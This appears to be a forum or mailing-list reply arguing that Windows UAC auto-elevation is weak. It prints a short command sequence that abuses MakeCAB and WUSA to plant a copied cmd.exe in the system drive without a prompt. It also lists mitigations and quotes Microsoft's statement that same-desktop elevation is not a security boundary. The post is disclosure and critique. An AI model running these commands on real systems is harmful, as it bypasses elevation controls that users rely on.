Do you mean something like Copy %COMSPEC% Program.exe MakeCAB.Exe Program.exe Delete Program.exe WUSA.Exe "%CD%\Program.ex_" /Extract:%SystemDrive% which according to the MSRC (which Apple usually refers to) does not qualify since it only exploits the braindead autoelevation of the user account control in its default setting, although every user of Windows 7 and later who uses one of the user accounts created during Windows setup can use this trivial exploit? Mitigation(s): use standard user accounts! disable auto-elevation, set UAC to "always notify". To quote <https://support.microsoft.com/kb/2526083/en-us>: | One of the common misconceptions about UAC and about Same-desktop Elevation | in particular is that it prevents malware from being installed or from | gaining administrative rights. First, malware can be written not to require | administrative rights, and malware can be written to write just to areas in | the user's profile. More important, Same-desktop Elevation in UAC is not a | security boundary and can be hijacked by unprivileged software that runs on | the same desktop. Same-desktop Elevation should be considered a convenience | feature, and from a security perspective, "Protected Administrator" should | be considered the equivalent of "Administrator." By contrast, using Fast | User Switching to log on to a different session by using an administrator | account involves a security boundary between the administrator account and | the standard user session. stay tuned!
